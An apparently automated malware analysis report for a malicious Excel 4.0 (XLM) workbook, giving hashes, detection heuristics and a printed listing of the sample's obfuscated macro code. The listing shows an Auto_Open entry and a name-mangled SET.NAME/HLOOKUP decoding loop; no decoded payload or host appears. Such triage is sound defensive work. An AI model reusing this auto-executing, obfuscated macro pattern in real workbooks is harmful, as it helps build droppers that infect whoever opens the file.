Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1a4cb03ae690e387…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:44 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: 11842f97033d685671e2e50bdf23daff SHA-1: 293a12f9d40c4e22c9e9964362ceca1487600d3a SHA-256: 1a4cb03ae690e387cd041a490f5642e1a80855b2e432aae8490f1c1c65264240
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6780 bytes
SHA-256: 3ab5ce65e9abfdeabb6cc0b77b9b1cd72639c6e219dabe318621d076c0c53b55
Detection
ClamAV: No threats found
Obfuscation or payload: likely
18 of 36 identifiers look randomly generated (e.g. 'MsbhnzwAVyXb') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YSJMBlGiGO
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B140 
' 0018     26 LABEL : Cell Value, String Constant - ceYrIHbPJCz len=0 
' 0018     22 LABEL : Cell Value, String Constant - CWNzlqc len=0 
' 0018     22 LABEL : Cell Value, String Constant - dEIGyNK len=0 
' 0018     22 LABEL : Cell Value, String Constant - fIBJwhR len=0 
' 0018     21 LABEL : Cell Value, String Constant - GDEFCE len=0 
' 0018     20 LABEL : Cell Value, String Constant - IQdtg len=0 
' 0018     23 LABEL : Cell Value, String Constant - mbknLoTJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - MsbhnzwAVyXb len=0 
' 0018     22 LABEL : Cell Value, String Constant - NQBHVIH len=0 
' 0018     23 LABEL : Cell Value, String Constant - oLfmIhSJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - ORGmExkCdGx len=0 
' 0018     23 LABEL : Cell Value, String Constant - qZyEBjge len=0 
' 0018     20 LABEL : Cell Value, String Constant - rTzsV len=0 
' 0018     20 LABEL : Cell Value, String Constant - rxdkB len=0 
' 0018     20 LABEL : Cell Value, String Constant - TPaHg len=0 
' 0018     25 LABEL : Cell Value, String Constant - VwYSEsncRa len=0 
' 0018     26 LABEL : Cell Value, String Constant - wOoqXQmTFzV len=0 
' 0018     23 LABEL : Cell Value, String Constant - yeKggdot len=0 
' 0018     23 LABEL : Cell Value, String Constant - YritcPza len=0 
' 0018     25 LABEL : Cell Value, String Constant - zJIlRzcKkF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YSJMBlGiGO,B52,"SET.NAME("rTzsV",0+VALUE("0"))",""
'  YSJMBlGiGO,B55,"SET.NAME("IQdtg",rTzsV)",""
'  YSJMBlGiGO,B59,"SET.NAME("GDEFCE",rTzsV)",""
'  YSJMBlGiGO,B62,"SET.NAME("fIBJwhR",COUNTA(ORGmExkCdGx))",""
'  YSJMBlGiGO,B66,"SET.NAME("zJIlRzcKkF",COUNTA(TPaHg))",""
'  YSJMBlGiGO,B70,[],""
'  YSJMBlGiGO,B73,"SET.NAME("CWNzlqc","")",""
'  YSJMBlGiGO,P74,"",934.00000000000000000000
'  YSJMBlGiGO,B75,"IQdtg",""
'  YSJMBlGiGO,P75,"",226.00000000000000000000
'  YSJMBlGiGO,P76,"",-737.00000000000000000000
'  YSJMBlGiGO,B77,"SET.NAME("dEIGyNK",HLOOKUP("*",ORGmExkCdGx,IQdtg,FALSE))",""
'  YSJMBlGiGO,P77,"",-711.00000000000000000000
'  YSJMBlGiGO,P78,"",505.00000000000000000000
'  YSJMBlGiGO,B79,"MsbhnzwAVyXb",""
'  YSJMBlGiGO,P79,"",-257.00000000000000000000
'  YSJMBlGiGO,B84,"SET.NAME("yeKggdot",rTzsV)",""
'  YSJMBlGiGO,B89,[],""
'  YSJMBlGiGO,B94,"yeKggdot",""
'  YSJMBlGiGO,B98,"oLfmIhSJ",""
'  YSJMBlGiGO,B100,"YritcPza",""
'  YSJMBlGiGO,B104,"mbknLoTJ",""
'  YSJMBlGiGO,B107,"SET.NAME("wOoqXQmTFzV",VALUE(HLOOKUP("*",TPaHg,mbknLoTJ,FALSE)))",""
'  YSJMBlGiGO,B112,"ceYrIHbPJCz",""
'  YSJMBlGiGO,B115,"CWNzlqc",""
'  YSJMBlGiGO,B119,"GDEFCE",""
'  YSJMBlGiGO,B122,NEXT(),""
'  YSJMBlGiGO,B124,"rxdkB",""
'  YSJMBlGiGO,B127,[],""
'  YSJMBlGiGO,B131,"VwYSEsncRa",""
'  YSJMBlGiGO,B134,NEXT(),""
'  YSJMBlGiGO,B138,RETURN(),""
'  YSJMBlGiGO,B163,"SET.NAME("qZyEBjge",B52)",""
'  YSJMBlGiGO,B167,"ORGmExkCdGx",""
'  YSJMBlGiGO,B171,"SET.NAME("TPaHg",R95C11)",""
'  YSJMBlGiGO,B173,"SET.NAME("VwYSEsncRa",179)",""
'  YSJMBlGiGO,B176,"SET.NAME("NQBHVIH",2)",""
'  YSJMBlGiGO,B178,qZyEBjge(),""
'  YSJMBlGiGO,B179,HALT(),""

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